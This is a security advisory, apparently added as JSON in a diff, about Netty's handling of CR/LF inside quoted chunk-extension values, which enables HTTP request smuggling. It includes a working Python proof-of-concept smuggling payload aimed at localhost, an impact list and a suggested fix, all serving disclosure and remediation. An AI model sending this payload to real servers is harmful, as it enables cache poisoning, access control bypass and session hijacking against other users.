+ "details": "## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- <https://w4ke.info/2025/06/18/funky-chunks.html>\n- <https://w4ke.info/2025/10/29/funky-chunks-2.html>\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n b\"POST / HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Transfer-Encoding: chunked\\r\\n\"\n b\"\\r\\n\"\n b'1;a=\"\\r\\n'\n b\"X\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n b\"GET /smuggled HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Content-Length: 11\\r\\n\"\n b\"\\r\\n\"\n b'\"\\r\\n'\n b\"Y\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n try:\n chunk = sock.recv(4096)\n if not chunk:\n break\n response += chunk\n except socket.timeout:\n break\n\nsock.close()\nprint(f\"Responses: {response.count(b'HTTP/')}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED) |\n| RFC-compliant parser | 400 Bad Request | (none — malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If ';' is encountered, begin parsing extensions:\n a. For each byte before the terminating CRLF:\n - If CR (%x0D) or LF (%x0A) is encountered outside the\n final terminating CRLF, reject the request with 400 Bad Request.\n b. If the extension value begins with DQUOTE, validate that all\n enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n outside any quoted-string context and contains no preceding\n illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)",
0 commit comments